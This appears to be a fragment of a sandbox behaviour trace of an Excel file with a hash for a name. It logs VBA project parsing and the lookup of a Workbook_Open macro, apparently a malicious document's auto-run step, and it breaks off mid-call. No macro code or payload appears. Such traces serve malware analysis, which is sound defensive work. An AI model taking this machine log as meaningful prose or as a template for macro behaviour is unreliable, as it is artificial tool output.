0x66537f0 [0074.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", cchWideChar=98, lpMultiByteStr=0x66537f0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpUsedDefaultChar=0x0) returned 98 [0074.825] IMalloc:Free (This=0x7fefe465380, pv=0x66537f0) [0074.825] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0074.825] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0074.825] CExposedStream::Seek () returned 0x0 [0074.825] CExposedStream::AddRef () returned 0x2 [0074.825] CExposedStream::Read () returned 0x0 [0074.825] CExposedStream::AddRef () returned 0x3 [0074.825] CExposedStream::Release () returned 0x2 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x2ee0) returned 0xb9f38e0 [0074.825] CExposedStream::Read () returned 0x0 [0074.825] CExposedStream::Read () returned 0x0 [0074.825] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.825] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x7) returned 0x663fbf0 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0xe) returned 0xb7fbac0 [0074.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x663fbf0, cbMultiByte=7, lpWideCharStr=0xb7fbac0, cchWideChar=7 | out: lpWideCharStr="Sheet1") returned 7 [0074.825] IMalloc:Free (This=0x7fefe465380, pv=0x663fbf0) [0074.825] IMalloc:Free (This=0x7fefe465380, pv=0xb7fbac0) [0074.825] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.825] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x28) returned 0xb73c160 [0074.825] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x65bf4b0 [0074.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb73c160, cbMultiByte=40, lpWideCharStr=0x65bf4b0, cchWideChar=40 | out: lpWideCharStr="0{00020820-0000-0000-C000-000000000046}") returned 40 [0074.826] IMalloc:Alloc (This=0x7fefe465380, cb=0x50) returned 0x65bf390 [0074.826] IMalloc:Free (This=0x7fefe465380, pv=0xb73c160) [0074.826] IMalloc:Free (This=0x7fefe465380, pv=0x65bf4b0) [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0074.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0074.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0074.827] CExposedStream::Read () returned 0x0 [0074.827] CExposedStream::Release () returned 0x1 [0074.827] CExposedStream::Release () returned 0x0 [0074.828] CExposedStream::Release () returned 0x0 [0074.828] IMalloc:Free (This=0x7fefe465380, pv=0xb94ba30) [0074.828] IMalloc:Free (This=0x7fefe465380, pv=0xb949a00) [0074.828] IMalloc:Free (This=0x7fefe465380, pv=0xb9e3370) [0074.828] IMalloc:Free (This=0x7fefe465380, pv=0xb9e1340) [0074.828] IMalloc:Free (This=0x7fefe465380, pv=0x57e86b0) [0074.828] lstrcpyA (in: lpString1=0x5ce7a7c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0074.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5ce7a7c, cbMultiByte=-1, lpWideCharStr=0x1f4560, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0074.828] CExposedStream::Stat () returned 0x0 [0074.828] CExposedStream::Read () returned 0x0 [0074.828] lstrlenA (lpString="") returned 0 [0074.829] lstrcpyA (in: lpString1=0xa37dfb0, lpString2="" | out: lpString1="") returned="" [0074.829] lstrlenA (lpString="") returned 0 [0074.829] lstrcpyA (in: lpString1=0x5ce8ac0, lpString2="" | out: lpString1="") returned="" [0074.829] lstrcpynA (in: lpString1=0x5ce8b20, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0074.829] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0074.829] lstrcpyA (in: lpString1=0x5ce8d60, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0074.829] lstrcpynA (in: lpString1=0x5ce8dc0, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0074.829] lstrlenA (lpString="23, 23, 1284, 677, Z") returned 20 [0074.829] lstrcpyA (in: lpString1=0x5ce9000, lpString2="23, 23, 1284, 677, Z" | out: lpString1="23, 23, 1284, 677, Z") returned="23, 23, 1284, 677, Z" [0074.830] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0074.830] lstrcpyA (in: lpString1=0x5ce9180, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0074.830] CExposedStream::Stat () returned 0x0 [0074.830] CExposedStream::Read () returned 0x0 [0074.830] CExposedStream::Release () returned 0x0 [0074.830] lstrcpyA (in: lpString1=0x5ce8aa0, lpString2="" | out: lpString1="") returned="" [0074.830] lstrcmpiA (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0074.830] lstrlenA (lpString="ThisWorkbook") returned 12 [0074.830] lstrcpyA (in: lpString1=0x5ce8ae0, lpString2="" | out: lpString1="") returned="" [0074.830] lstrcmpiA (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0074.830] lstrlenA (lpString="Sheet1") returned 6 [0074.830] atoi (_Str="393222000") returned 393222000 [0074.830] lstrcpynA (in: lpString1=0xa37cb8c, lpString2="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}", iMaxLength=39 | out: lpString1="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}" [0074.830] StringFromGUID2 (in: rguid=0x7fee5f7aa58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lpsz=0xb903b38, cchMax=39 | out: lpsz="{00000000-0000-0000-0000-000000000000}") returned 39 [0074.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{00000000-0000-0000-0000-000000000000}", cchWideChar=-1, lpMultiByteStr=0x1f4550, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{00000000-0000-0000-0000-000000000000}", lpUsedDefaultChar=0x0) returned 0 [0074.831] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned -1 [0074.831] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0074.831] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0074.831] lstrlenA (lpString="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned 38 [0074.831] CExposedStream::Commit () returned 0x0 [0074.831] CExposedStream::Release () returned 0x0 [0074.831] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0074.831] lstrlenA (lpString="&H00000001") returned 10 [0074.831] lstrcmpiA (lpString1="Host Extender Info", lpString2="Host Extender Info") returned 0 [0074.831] lstrcmpiA (lpString1="&H00000001", lpString2="&H00000001") returned 0 [0074.831] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0074.831] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0074.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5ce9950, cbMultiByte=-1, lpWideCharStr=0x1f4590, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0074.831] CLSIDFromString (in: lpsz="{3832D640-CF90-11CF-8E43-00A0C911005A}", pclsid=0x5ce9e6c | out: pclsid=0x5ce9e6c*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a))) returned 0x0 [0074.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5ce9977, cbMultiByte=-1, lpWideCharStr=0x1f4580, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0074.832] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0074.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x618e618, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0074.832] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0074.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x618e618, cbMultiByte=11, lpWideCharStr=0x60e8a48, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0074.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x1f4490, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0074.832] lstrlenA (lpString="VBAProject") returned 10 [0074.832] GetCurrentThreadId () returned 0xa30 [0074.832] GetCurrentThreadId () returned 0xa30 [0074.832] IMalloc:Alloc (This=0x7fefe465380, cb=0x28) returned 0xb73c160 [0074.832] GetCursorPos (in: lpPoint=0x1f47b0 | out: lpPoint=0x1f47b0*(x=573, y=559)) returned 1 [0074.832] GetCapture () returned 0x0 [0074.832] WindowFromPoint (Point=0x22f0000023d) returned 0x202be [0074.832] GetWindowThreadProcessId (in: hWnd=0x202be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0074.832] SendMessageA (hWnd=0x202be, Msg=0x84, wParam=0x0, lParam=0x22f023d) returned 0x1 [0074.832] SendMessageA (hWnd=0x202be, Msg=0x20, wParam=0x202be, lParam=0x2000001) returned 0x1 [0075.690] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0075.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x618e618, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0075.690] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0075.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x618e618, cbMultiByte=11, lpWideCharStr=0x60e8a48, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0075.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x1f7ba0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0075.690] lstrlenA (lpString="VBAProject") returned 10 [0075.690] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0075.690] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _MaxCount=0x28 | out: _Destination="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8") returned 0x0 [0075.690] lstrcatA (in: lpString1="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8", lpString2="...)" | out: lpString1="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8...)") returned="VBAProject (23bd91a75b2e80556c099d5a4f57760a1e4d77e8...)" [0075.795] _wfullpath (in: _Buffer=0x1f7a90, _Path="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls" [0075.795] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls", lpString2="C:\\Users\\aETAdzjz\\Desktop\\23bd91a75b2e80556c099d5a4f57760a1e4d77e82ec38bbe9fc2e7ba17815d77.xls") returned 0 [0075.796] lstrcmpiW (lpString1="ThisWorkbook", lpString2="ThisWorkbook") returned 0 [0075.797] IMalloc:Alloc (This=0x7fefe465380, cb=0xa8) returned 0xb984fb0 [0075.797] IMalloc:Alloc (This=0x7fefe465380, cb=0x7f40) returned 0xb74c280 [0075.805] IMalloc:Alloc (This=0x7fefe465380, cb=0x30) returned 0x5941480 [0075.825] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0075.826] lstrlenA (lpString="ThisWorkbook") returned 12 [0075.826] lstrlenA (lpString="ThisWorkbook") returned 12 [0075.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1f7d20, cbMultiByte=-1, lpWideCharStr=0x5ce7ed0, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13 [0075.826] lstrcmpiW (lpString1="Sheet1", lpString2="ThisWorkbook") returned -1 [0075.826] lstrcmpiW (lpString1="Sheet1", lpString2="Sheet1") returned 0 [0075.826] IMalloc:Alloc (This=0x7fefe465380, cb=0xa8) returned 0xb985110 [0075.826] IMalloc:Alloc (This=0x7fefe465380, cb=0x30) returned 0xb7bd580 [0075.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f7bf0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0075.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0075.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x1f7be0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0075.827] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0075.827] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x5962db0 [0075.827] qsort (in: _Base=0x5962db0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28 | out: _Base=0x5962db0) [0075.827] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0075.827] bsearch (_Key=0x1f6b18, _Base=0x5962db0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x5962db8 [0075.827] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0075.827] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0075.827] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x5965290 [0075.827] CLSIDFromString (in: lpsz="{00020819-0000-0000-C000-000000000046}", pclsid=0x5965290 | out: pclsid=0x5965290*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.828] IMalloc:Free (This=0x7fefe465380, pv=0x65bf450) [0075.828] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c770 [0075.829] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623e1b0 [0075.829] IMalloc:Free (This=0x7fefe465380, pv=0x5965290) [0075.829] IMalloc:Free (This=0x7fefe465380, pv=0x623c770) [0075.829] IMalloc:Free (This=0x7fefe465380, pv=0x623e1b0) [0075.829] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623e1b0 [0075.829] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c770 [0075.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f7bf0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0075.837] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0075.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=7, lpMultiByteStr=0x1f7be0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0075.837] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0075.837] bsearch (_Key=0x1f6b18, _Base=0x5962db0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x5962db0 [0075.837] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 2 [0075.837] IMalloc:Alloc (This=0x7fefe465380, cb=0x60) returned 0x5a51580 [0075.837] IMalloc:Alloc (This=0x7fefe465380, cb=0x10) returned 0x5965290 [0075.837] CLSIDFromString (in: lpsz="{00020820-0000-0000-C000-000000000046}", pclsid=0x5965290 | out: pclsid=0x5965290*(Data1=0x20820, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.837] IMalloc:Free (This=0x7fefe465380, pv=0x65bf390) [0075.838] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c530 [0075.838] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c410 [0075.838] IMalloc:Free (This=0x7fefe465380, pv=0x5965290) [0075.838] IMalloc:Free (This=0x7fefe465380, pv=0x623c530) [0075.839] IMalloc:Free (This=0x7fefe465380, pv=0x623c410) [0075.839] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c410 [0075.839] IMalloc:Alloc (This=0x7fefe465380, cb=0x20) returned 0x623c530 [0075.840] lstrlenA (lpString="Sheet1") returned 6 [0075.840] lstrlenA (lpString="Sheet1") returned 6 [0075.840] lstrcatA (in: lpString1="Sheet1", lpString2=" (" | out: lpString1="Sheet1 (") returned="Sheet1 (" [0075.840] strncat_s (in: _Destination="Sheet1 (", _SizeInBytes=0x187, _Source="VAT2018-02-27", _MaxCount=0x28 | out: _Destination="Sheet1 (VAT2018-02-27") returned 0x0 [0075.840] lstrlenA (lpString="VAT2018-02-27") returned 13 [0075.840] lstrcatA (in: lpString1="Sheet1 (VAT2018-02-27", lpString2=")" | out: lpString1="Sheet1 (VAT2018-02-27)") returned="Sheet1 (VAT2018-02-27)" [0075.978] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6640a80 [0075.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x2019b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0075.978] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x2019b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0076.015] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x201e80, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0076.015] _mbscpy_s (in: _Dst=0x201cd0, _DstSizeInBytes=0xe, _Src=0x5d1014a | out: _Dst=0x201cd0) returned 0x0 [0076.015] _mbscpy_s (in: _Dst=0x201cd9, _DstSizeInBytes=0x5, _Src=0x201e80 | out: _Dst=0x201cd9) returned 0x0 [0076.015] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0076.018] IUnknown:AddRef (This=0x679bb80) returned 0x3 [0076.018] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x2021b8, pDummy=0x202144 | out: ppTLibAttr=0x2021b8, pDummy=0x202144*=0x0) returned 0x0 [0076.018] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0076.018] IUnknown:QueryInterface (in: This=0x679bb80, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x202258 | out: ppvObject=0x202258*=0x0) returned 0x80004002 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x679bb80, ppTLibAttr=0x202248, pDummy=0x10 | out: ppTLibAttr=0x202248, pDummy=0x10) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x679bb80) returned 0x0 [0076.019] IUnknown:Release (This=0x679bb80) returned 0x2 [0076.019] IUnknown:AddRef (This=0x5a48620) returned 0xb [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x5a48620, ppTLibAttr=0x2021b8, pDummy=0x479d490 | out: ppTLibAttr=0x2021b8, pDummy=0x479d490*=0xe5f77198) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x5a48620) returned 0x0 [0076.019] IUnknown:QueryInterface (in: This=0x5a48620, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x202258 | out: ppvObject=0x202258*=0x0) returned 0x80004002 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x5a48620, ppTLibAttr=0x202248, pDummy=0x10 | out: ppTLibAttr=0x202248, pDummy=0x10) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x5a48620) returned 0x0 [0076.019] IUnknown:Release (This=0x5a48620) returned 0xa [0076.019] IUnknown:AddRef (This=0x679c120) returned 0x4 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x679c120, ppTLibAttr=0x2021b8, pDummy=0x479d490 | out: ppTLibAttr=0x2021b8, pDummy=0x479d490*=0xe5f77198) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x679c120) returned 0x0 [0076.019] IUnknown:QueryInterface (in: This=0x679c120, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x202258 | out: ppvObject=0x202258*=0x0) returned 0x80004002 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x679c120, ppTLibAttr=0x202248, pDummy=0x10 | out: ppTLibAttr=0x202248, pDummy=0x10) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x679c120) returned 0x0 [0076.019] IUnknown:Release (This=0x679c120) returned 0x3 [0076.019] IUnknown:AddRef (This=0x679c6c0) returned 0x2 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x679c6c0, ppTLibAttr=0x2021b8, pDummy=0x479d490 | out: ppTLibAttr=0x2021b8, pDummy=0x479d490*=0xe5f77198) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x679c6c0) returned 0x0 [0076.019] IUnknown:QueryInterface (in: This=0x679c6c0, riid=0x7fee5f86290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x202258 | out: ppvObject=0x202258*=0x0) returned 0x80004002 [0076.019] ITypeLib:RemoteGetLibAttr (in: This=0x679c6c0, ppTLibAttr=0x202248, pDummy=0x10 | out: ppTLibAttr=0x202248, pDummy=0x10) returned 0x0 [0076.019] ITypeLib:LocalReleaseTLibAttr (This=0x679c6c0) returned 0x0 [0076.019] IUnknown:Release (This=0x679c6c0) returned 0x1 [0076.020] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x66e1a70 [0076.020] IMalloc:Free (This=0x7fefe465380, pv=0x66e1a70) [0076.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x201ad0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0076.029] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0076.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x201ad0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0076.054] LHashValOfNameSysA (syskind=0x3, lcid=0x409, 